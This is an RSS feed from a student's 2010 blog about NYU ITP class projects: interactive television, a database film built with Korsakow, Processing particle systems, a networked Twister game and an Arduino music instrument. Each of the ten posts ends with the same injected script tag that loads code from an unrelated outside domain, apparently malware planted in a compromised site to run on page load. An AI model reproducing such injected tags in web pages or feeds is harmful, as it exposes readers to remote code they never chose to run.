<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jeff Howard @ ITP</title>
	<atom:link href="http://itp.jeffhoward.ca/feed/" rel="self" type="application/rss+xml" />
	<link>http://itp.jeffhoward.ca</link>
	<description>I am currently a graduate student at NYU&#039;s Interactive Telecommunications Program.  Here, you can follow what I am working on throughout my time there.</description>
	<lastBuildDate>Fri, 30 Jul 2010 06:14:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>UNITV</title>
		<link>http://itp.jeffhoward.ca/interactive-television/unitv/</link>
		<comments>http://itp.jeffhoward.ca/interactive-television/unitv/#comments</comments>
		<pubDate>Mon, 03 May 2010 02:58:30 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Interactive Television]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=231</guid>
		<description><![CDATA[Our Live Experimental Interactive Television class is coming to a close. All four of our episodes have now aired on the Manhattan Neighborhood Network. It&#8217;s made for a busy but fun couple of weeks. Above are some of the highlights from our two episodes of UNITV. You can also check out some behind the scenes [...]]]></description>
			<content:encoded><![CDATA[<p><object width="500" height="375"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=11543116&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=11543116&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="500" height="375"></embed></object></p>
<p>Our Live Experimental Interactive Television class is coming to a close.  All four of our episodes have now aired on the Manhattan Neighborhood Network.  It&#8217;s made for a busy but fun couple of weeks.  Above are some of the highlights from our two episodes of <a href="http://unitv.me/">UNITV</a>.  You can also check out some <a href="http://www.flickr.com/photos/jeffhoward/sets/72157624228527738/">behind the scenes</a> footage on my flickr page and check out the project in the <a href="http://itp.nyu.edu/shows/spring2010/">ITP Spring Show</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/interactive-television/unitv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nature of Bokeh &#8211; Proposal</title>
		<link>http://itp.jeffhoward.ca/nature-of-code/nature-of-bokeh-proposal/</link>
		<comments>http://itp.jeffhoward.ca/nature-of-code/nature-of-bokeh-proposal/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 06:26:30 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Nature of Code]]></category>
		<category><![CDATA[computer vision]]></category>
		<category><![CDATA[physics]]></category>
		<category><![CDATA[processing]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=218</guid>
		<description><![CDATA[For my Nature of Code final I&#8217;m thinking of creating a video that would have a particle system interacting with the native particles from the source footage. Using the image above as an example, the blurred out lights in the background would act as the primary set of particles. A second set of particles would [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://itp.jeffhoward.ca/work/natureofcode/final/video/noc_sample.mov"><img class="alignnone size-full wp-image-219" title="noc_sample_small" src="http://itp.jeffhoward.ca/wp-content/uploads/2010/03/nature-of-bokeh-proposal/noc_sample_small.jpg" alt="noc_sample_small" width="480" height="270" /></a></p>
<p>For my Nature of Code final I&#8217;m thinking of creating a video that would have a particle system interacting with the native particles from the source footage. Using the image above as an example, the blurred out lights in the background would act as the primary set of particles. A second set of particles would then be introduced in processing (using textures stripped out from the lights). Through a variety of physics simulations, the new set of particles would interact with the lights as well as any objects that are focused in the screen. The chair above for instance, could be turned into a mask, where the particles would treat it as a boundary and react accordingly.</p>
<p>Using one shot to start with, I will try to implement as much of the code as I need to have everything up and running. Once I get to that stage I will start testing that code with new footage and try to introduce some new features. One of which that I am thinking of, is to add an audio reactive element to the particles&#8217; behaviors. I still have lots to do before I get there though. I have started to use OpenCV to see how I can track the particles with blob detection. I am looking into the best way to handle the textures. I also need to decide how to handle the workflow of the video (GSVideo, an image sequence ?). While I do all of this, I will also be thinking of what type of footage will work best with the concept and what kind of foreground objects I can use to help build a stronger conceptual framework.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/nature-of-code/nature-of-bokeh-proposal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://itp.jeffhoward.ca/work/natureofcode/final/video/noc_sample.mov" length="3470932" type="video/quicktime" />
		</item>
		<item>
		<title>Giant Stories, Tiny Screens midterm</title>
		<link>http://itp.jeffhoward.ca/giant-stories-tiny-screens/gsts-midterm/</link>
		<comments>http://itp.jeffhoward.ca/giant-stories-tiny-screens/gsts-midterm/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 00:54:52 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Giant Stories Tiny Screens]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[film]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[korsakow]]></category>
		<category><![CDATA[storytelling]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=206</guid>
		<description><![CDATA[I have put together a first iteration of a project I&#8217;m working on called The Figure 8. As this is a project I will be continuing to work on, I will break down where I am so far and what I still plan to do with it. To start, here a few different descriptions of [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://itp.jeffhoward.ca/work/thefigure8/"><img class="alignnone size-full wp-image-207" title="the figure 8" src="http://itp.jeffhoward.ca/wp-content/uploads/2010/03/giant-stories-t/screenshot.jpg" alt="the figure 8" width="500" height="240" /></a></p>
<p>I have put together a first iteration of a project I&#8217;m working on called The Figure 8.  As this is a project I will be continuing to work on, I will break down where I am so far and what I still plan to do with it. To start, here a few different descriptions of the project:</p>
<p><strong>Short Description</strong><br />
The Figure 8 is a database film that explores the connections between stories and the people that tell them.</p>
<p><strong>Long Description</strong><br />
The Figure 8 is a database film that explores the connections between stories and the people that tell them. Created using the software <a href="http://korsakow.org/">Korsakow</a>, the film presents a collection of personal stories that allow for viewers to navigate the database while exploring the connections that create the paths between them. The structure of the database draws upon the idea that there are only eight stories in the world and all others are a derivative of those eight. The people in the film were asked to share any story they would like to tell, with the only constraints being time and that they tell a personal story of their own. These stories are then tagged with which of the eight plots they relate to and connections are then made with other stories in the database that share those same tags. Through these connections viewers are able to construct a narrative path more suited to their interests.</p>
<p><strong>The eight basic plots:</strong>
<ul>
<li>Sacrifice</li>
<li>Rise and fall</li>
<li>Transformation</li>
<li>Revenge</li>
<li>Chase</li>
<li>Quest</li>
<li>Romance</li>
<li>Competition</li>
</ul>
<p><strong>Manifesto:</strong>
<ul>
<li>A personal story</li>
<li>No other narrative constraints or suggestions</li>
<li>Told by by someone else</li>
<li>30 seconds to 3 minutes each</li>
<li>One shot</li>
<li>No cuts</li>
<li>Source audio only</li>
</ul>
<p><strong>Problems encountered in this version:</strong><br />
The filming of this was all done using equipment I don&#8217;t have much experience with. As a result I had some audio issues to work through. I have since worked through all of these issues and will have to reshoot some of the material. I also encountered some hurdles with Korsakow.  Mainly some compression issues that caused a few problems but I was able to work through.  The one thing I couldn&#8217;t figure out though was how to create a lead in and have that move on to a starting clip.  Ideally what I would like is for a title sequence to play (without the thumbnails at the side) and then randomly pull a clip with an associated start tag to follow. Not sure if this is possible yet.</p>
<p><strong>Things to do:</strong>
<ul>
<li>Film more stories</li>
<li>Create promotional material to give to storytellers</li>
<li>Reshoot the stories with bad audio</li>
<li>Look into using conditionals and try to work text/tags into preview thumbnails</li>
<li>Create new preview thumbnails with rollovers</li>
<li>Create a new title sequence that includes a more in depth explanation of the project</li>
<li>Create other pages for the site (about, manifesto, credits)</li>
<li>Integrate links to other pages in the interface</li>
<li>Integrate title in the interface</li>
</ul>
<p><a href="http://itp.jeffhoward.ca/work/thefigure8/">View the Project</a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/giant-stories-tiny-screens/gsts-midterm/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Figure 8</title>
		<link>http://itp.jeffhoward.ca/giant-stories-tiny-screens/the-figure-8/</link>
		<comments>http://itp.jeffhoward.ca/giant-stories-tiny-screens/the-figure-8/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 23:16:44 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Giant Stories Tiny Screens]]></category>
		<category><![CDATA[korsakow]]></category>
		<category><![CDATA[narrative]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=195</guid>
		<description><![CDATA[For my midterm in Giant Stories / Tiny Screens I&#8217;m going to be putting together a project using the Korsakow software.  The content is going to be very general in using the structure of database film to it&#8217;s strength.  The database of clips will be short (1-3 minute videos) of people telling stories to the [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-196 alignleft" title="korsakow" src="http://itp.jeffhoward.ca/wp-content/uploads/2010/03/the-figure-8/korsakow.png" alt="korsakow" width="134" height="134" /> For my midterm in Giant Stories / Tiny Screens I&#8217;m going to be putting together a project using the Korsakow software.  The content is going to be very general in using the structure of database film to it&#8217;s strength.  The database of clips will be short (1-3 minute videos) of people telling stories to the camera.  The constraints of which will purposely not be much more than that.  I don&#8217;t want to influence the telling of their story or their choosing of which one to tell.  In doing so I am drawing upon a few thoughts.  First, I figure that everyone has at least one interesting story.  As well, I feel that most people enjoy telling stories.  On the other side of things, I find that people are often just as interested in the person telling a story as they are in the story itself.  This is why I don&#8217;t want to interview people and simply just ask people to tell me a story.  Leaving all of the decisions to them, I feel lets the story come from a more sincere place.</p>
<p>The next thought that all of this led me to was how I can connect all of these stories in a meaningful way.  This brought me back to an idea I had heard before.  Various people have written how they believe there are only a few amount of stories in the world and all other stories are just derivatives of these.  This concept is something I&#8217;m still doing more research into, but I&#8217;ve already found one of these references that works really well with what I would like to do.  <a href="http://en.wikipedia.org/wiki/Nancy_Kress">Nancy Kress</a> wrote an article on how she believes there are only 8 stories.  She listed them as follows:</p>
<ul>
<li>Sacrifice</li>
<li>Rise and fall</li>
<li>Transformation</li>
<li>Revenge</li>
<li>Chase</li>
<li>Quest</li>
<li>Romance</li>
<li>Competition</li>
</ul>
<p>The other thing that I really like about this list is that it falls into 8.  I like how the figure 8 encompasses all of the basic plots, yet as you turn the figure on it&#8217;s side, it represents the infinite possibilities of all the stories these 8 basic plots can be turned into.</p>
<p>Taking these 8 plots, I plan on tagging all of the stories I enter into the database and using them to draw the connections between all of the clips.  Ideally, the more stories I can enter into the database the better.  Once I have good amount of videos to start with, I also plan on opening the site to encourage others to submit stories they&#8217;ve filmed themselves (whether it&#8217;s of themselves or of others).  In this sense I like that the piece becomes stronger as the database grows.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/giant-stories-tiny-screens/the-figure-8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Audio Reactive Particle System</title>
		<link>http://itp.jeffhoward.ca/nature-of-code/audio-reactive-particle-system/</link>
		<comments>http://itp.jeffhoward.ca/nature-of-code/audio-reactive-particle-system/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 17:40:44 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Nature of Code]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=191</guid>
		<description><![CDATA[For Nature of Code I&#8217;m hoping to work on an audio reactive particle system.  I started in on this, but still have plenty to do.  I still need to spend more time with the beat detection to get a closer relationship between the two.  I also need to work out the details of rendering sketches [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://itp.jeffhoward.ca/work/natureofcode/week05/audio_reactive_test.mov"><img class="alignnone size-medium wp-image-192" title="img-0030" src="http://itp.jeffhoward.ca/wp-content/uploads/2010/02/audio-reactive-particle-system/img-0030-400x400.png" alt="img-0030" width="400" height="400" /></a></p>
<p>For Nature of Code I&#8217;m hoping to work on an audio reactive particle system.  I started in on this, but still have plenty to do.  I still need to spend more time with the beat detection to get a closer relationship between the two.  I also need to work out the details of rendering sketches and maintaining the synchronization of the audio and video (instead of using screen capture software).  As for the particles, I&#8217;ve just started off with one for now.  Next up, is to start to bring in more particles and apply more complex physics to them.  For now, you can click through the image above to watch a video of where I am at so far.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/nature-of-code/audio-reactive-particle-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://itp.jeffhoward.ca/work/natureofcode/week05/audio_reactive_test.mov" length="14623706" type="video/quicktime" />
		</item>
		<item>
		<title>Twister (networked)</title>
		<link>http://itp.jeffhoward.ca/interactive-television/twister-networked/</link>
		<comments>http://itp.jeffhoward.ca/interactive-television/twister-networked/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 03:33:02 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Interactive Television]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=181</guid>
		<description><![CDATA[For last week&#8217;s class we were asked to build a web interface  to allow viewers to interactive with a 5 minute live program.  Working with Adam Harvey and Si Heun Cho, we created a networked version of twister.  The game streams live through ustream.tv and replaces the wheel that usually decides players moves with an [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://itp.jeffhoward.ca/work/leit/twister/twister_screenshot.jpg"><img class="alignnone size-medium wp-image-183" title="twister_screenshot" src="http://itp.jeffhoward.ca/wp-content/uploads/2010/02/twister-networked/twister_screenshot1-400x242.jpg" alt="twister_screenshot" width="400" height="242" /></a></p>
<p>For last week&#8217;s class we were asked to build a web interface  to allow viewers to interactive with a 5 minute live program.  Working with Adam Harvey and Si Heun Cho, we created a networked version of twister.  The game streams live through ustream.tv and replaces the wheel that usually decides players moves with an interface that allows viewers to vote on the next move.  The counter resets after every move and voting opens back up.</p>
<p>One of the things that works well in this respect is the number of options for voting.  It creates a greater sense of impact for voters.  At the same time though, this impact diminishes as the scale of the viewership increases.  The game seems as though it would only work well on a smaller scale (say under 50 people) and even better with a viewership that has some sort of relationship with or prior knowledge of the players.  One of the other strengths of this type of idea is the sense of control it creates.  Although shared amongst the collective viewership, the concept of controlling something on the screen as an extension of  what a remote normally allows seems to bridge the gap between performer and audience.</p>
<p>If we were to try this again, I think it would be interesting to try a different game and see how the dynamic changes.  With this version, there is a tendency to vote for the most awkward move or for whatever move would help whoever you are hoping will win.  Instead, an interesting way of changing the dynamic could be choosing a game where the audience doesn&#8217;t control the competitors, but instead competes against them.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/interactive-television/twister-networked/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Daft Bodies (via SMS)</title>
		<link>http://itp.jeffhoward.ca/interactive-television/daft-bodies-via-sms/</link>
		<comments>http://itp.jeffhoward.ca/interactive-television/daft-bodies-via-sms/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 23:18:30 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Interactive Television]]></category>
		<category><![CDATA[mashup]]></category>
		<category><![CDATA[max]]></category>
		<category><![CDATA[processing]]></category>
		<category><![CDATA[sms]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=179</guid>
		<description><![CDATA[Last week in Live Experimental Interactive Television we were asked to create a site where users were able to interact with video by SMS. Teaming up with Adam Harvey, Edward Gordon and Mustafa Bagdatli we created the above video. Drawing upon the ridiculousness of the Daft Bodies meme, we thought it would be funny to [...]]]></description>
			<content:encoded><![CDATA[<p><object width="480" height="295"><param name="movie" value="http://www.youtube.com/v/Ix7eFvHW_-U&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Ix7eFvHW_-U&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"></embed></object></p>
<p>Last week in Live Experimental Interactive Television we were asked to create a site where users were able to interact with video by SMS.  Teaming up with Adam Harvey, Edward Gordon and Mustafa Bagdatli we created the above video.  Drawing upon the ridiculousness of the Daft Bodies meme, we thought it would be funny to give users the ability to control the characters with their phones.  One of the things I thought worked well was the ability to send in a word via text and see that word acted out and sung with the typical Daft Punk vocoder sound.  One of the drawbacks would be scale.  It worked well with a class room full of people, but it might get out of control with thousands of viewers.  A few ways to approach this problem may be to change the nature of the content, divide up the screen and then provide many more options.  If this was the case, you could construct some sort of game based goal which people may be able to see the result of their actions clearer.  <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/interactive-television/daft-bodies-via-sms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Two screen set ups for the Superbowl</title>
		<link>http://itp.jeffhoward.ca/interactive-television/two-screen-set-ups-for-the-superbowl/</link>
		<comments>http://itp.jeffhoward.ca/interactive-television/two-screen-set-ups-for-the-superbowl/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 22:58:07 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Interactive Television]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=177</guid>
		<description><![CDATA[While watching the Superbowl over the weekend, we were asked to look around for sites set up to act as a second screen to watch the game. The variety of options I came across were surprisingly slim. I went to all of the major sites I could think of (NFL, ESPN, CBS, NBC, Sports Illustrated, [...]]]></description>
			<content:encoded><![CDATA[<p>While watching the Superbowl over the weekend, we were asked to look around for sites set up to act as a second screen to watch the game.  The variety of options I came across were surprisingly slim.  I went to all of the major sites I could think of (NFL, ESPN, CBS, NBC, Sports Illustrated, New York Times, etc.) and found many of the same results.  Most sites would have a combination of: a chat room, a visualization of the play by plays, a blog, a photo blog, trivia and a few other similar options.  The site that seemed to have the more interesting set up was actually TSN.  They were using Facebook Connect to allow users to sign in and compete in games against their friends and/or the rest of the users on the site.  Polls were constantly being added and users would vote on each to earn points.  They would cover all sorts of questions, from who would get the next touch down to how many yards would be gained on the next play.  Each option rewarding the correct answer a varying number of points.  As the game went on and point tallies rose, prizes were offered to whoever finished on top.</p>
<p>The interesting thing I found about this game was the social aspect of it.  Another observation I had was that Twitter and Facebook were sort of loosely organized second screens in themselves.  All of these options seemed to me more successful in the respect that people would rather read what their friends have to say about the game than strangers (or even respected bloggers in many instances).<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/interactive-television/two-screen-set-ups-for-the-superbowl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Making live television interactive</title>
		<link>http://itp.jeffhoward.ca/interactive-television/making-live-television-interactive/</link>
		<comments>http://itp.jeffhoward.ca/interactive-television/making-live-television-interactive/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 23:27:08 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Interactive Television]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=175</guid>
		<description><![CDATA[For Live Experimental Interactive Television (LEIT) class this week we were asked to watch a live television broadcast and think of ways that it can be made interactive.  This worked well with my plans of getting to watch one of the few Pittsburgh Penguins hockey games that are televised here.  As far as adding interactivity [...]]]></description>
			<content:encoded><![CDATA[<p><iframe width="480" height="289" frameborder="0" src="http://penguins.nhl.tv/team/embed.jsp?hlg=20092010,2,772"></iframe></p>
<p>For Live Experimental Interactive Television (LEIT) class this week we were asked to watch a live television broadcast and think of ways that it can be made interactive.  This worked well with my plans of getting to watch one of the few Pittsburgh Penguins hockey games that are televised here.  As far as adding interactivity in to this type of programming a few things came to mind.  One is that during intermission there is often a player or two that is interviewed.  Often that is dictated by their play (someone scores a goal that period).  An alternative to this system, could be for users to send in SMS messages voting for who they would like to hear from during intermission.  Away from the television and moving on to the computer screen, I thought it could be interesting if the camera selections or commentary could be influenced by keywords that occur in conversation amongst a chat room embedded into the site displaying the game.  Those are just a few thoughts so far, but it will be interesting to shift to this frame of mind in the future and continue to think of more.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/interactive-television/making-live-television-interactive/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Social Instrument v2 (in the making)</title>
		<link>http://itp.jeffhoward.ca/physicalcomputing/social-instrument-v2-prototype/</link>
		<comments>http://itp.jeffhoward.ca/physicalcomputing/social-instrument-v2-prototype/#comments</comments>
		<pubDate>Sun, 27 Dec 2009 07:12:19 +0000</pubDate>
		<dc:creator>Jeff</dc:creator>
				<category><![CDATA[Physical Computing]]></category>
		<category><![CDATA[ableton]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[instrument]]></category>
		<category><![CDATA[midi]]></category>
		<category><![CDATA[music]]></category>

		<guid isPermaLink="false">http://itp.jeffhoward.ca/?p=170</guid>
		<description><![CDATA[I&#8217;ve continued on work from the first social instrument I created at the beginning of the semester.  With that one I wanted to make the interaction with the device as simple as possible and let the users focus on the interaction with each other instead.  With this second iteration I wanted to maintain that relationship [...]]]></description>
			<content:encoded><![CDATA[<p><a class="flickr-image alignnone" title="Social Instrument v2" rel="flickr-mgr[si2]" href="http://www.flickr.com/photos/jeffhoward/4230698622/"><img class="flickr-medium" src="http://farm5.static.flickr.com/4016/4230698622_5fcc3656f0.jpg" alt="Social Instrument v2" width="400" height="300" /></a></p>
<p>I&#8217;ve continued on work from the <a href="http://itp.jeffhoward.ca/physicalcomputing/social-instrument-v1/">first social instrument</a> I created at the beginning of the semester.  With that one I wanted to make the interaction with the device as simple as possible and let the users focus on the interaction with each other instead.  With this second iteration I wanted to maintain that relationship but at the same time push it a little further.  This version now uses Ableton Live to generate the audio (using MIDI).  The users now have some additional controls.  Each have different controls available to them with the exception of a button to trigger notes being the common element between the two interfaces.  On one side there are controls for: note, tempo, reverb and playback.  On the other side there are controls for: instrument, volume, distortion and recording.  Also new in this version is a shared space.  It acts as both a form of feedback as well as introducing a new social interaction.  In addition to lights that indicate recording status and tempo, there will be a proximity sensor that controls pitch bend.  Seeing as this will be located in the middle, it becomes a different social interaction as it is the only control that the two users have to share.</p>
<p>With the addition of these added controls, the two users have to work harder and place an added focus on the way they communicate in order to create interesting melodies.  I have been prototyping what I have so far and am now moving on to building a more permanent structure for the instrument.  In doing so I am designing the interface in a flexible way so that I can easily make changes as I learn more from further user testing.  I now have the laser cutting done and all of the wood cut.  At this point I have a bit more sanding to do and a clear coat to apply to the enclosure.  After that I just need to assemble everything and reconnect all of the wiring.  Once the rest of the fabrication is done I&#8217;ll post some more documentation of the final result.  In the meantime, you can see some more <a href="http://www.flickr.com/photos/jeffhoward/tags/socialinstrumentv2/">photos</a> and a video that demos it&#8217;s functionality <a href="http://itp.jeffhoward.ca/work/physicalcomputing/social_instrument_v2.mov">here</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://itp.jeffhoward.ca/physicalcomputing/social-instrument-v2-prototype/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://itp.jeffhoward.ca/work/physicalcomputing/social_instrument_v2.mov" length="123149797" type="video/quicktime" />
		</item>
	</channel>
</rss>
